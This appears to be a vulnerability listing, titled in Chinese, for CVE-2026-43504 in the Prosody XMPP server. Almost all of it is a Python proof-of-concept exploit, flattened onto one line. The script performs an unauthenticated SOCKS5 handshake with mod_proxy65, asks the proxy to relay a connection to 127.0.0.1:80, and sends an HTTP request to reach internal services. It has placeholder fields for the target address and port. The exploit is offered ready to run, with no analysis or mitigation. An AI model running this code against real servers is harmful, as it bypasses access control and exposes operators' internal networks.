CVE-2026-43504 Prosody访问控制不当漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43504: Prosody mod_proxy65 Unauthenticated Relay import socket import struct def connect_proxy(host, port): # SOCKS5 handshake (No Auth) # CONNECT command (0x01) to target try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send SOCKS5 Greeting s.send(b"\x05\x01\x00") response = s.recv(2) if response != b"\x05\x00": print("[-] SOCKS5 handshake failed") return # Send CONNECT request to 127.0.0.1:80 (Example target) # ATYP: IPV4 (0x01), DST.ADDR: 127.0.0.1, DST.PORT: 80 req = b"\x05\x01\x00\x01" + socket.inet_aton("127.0.0.1") + struct.pack(">H", 80) s.send(req) resp = s.recv(10) if resp[0] == 0x05 and resp[1] == 0x00: print("[+] Connection relayed successfully (Access Control Bypass)") # Send dummy HTTP request s.send(b"GET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n") print(s.recv(1024).decode()) else: print("[-] Connection rejected by proxy") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with target Prosody server IP and mod_proxy65 port target_host = "192.168.1.100" target_port = 5000 # Default mod_proxy65 port often varies, check config connect_proxy(target_host, target_port)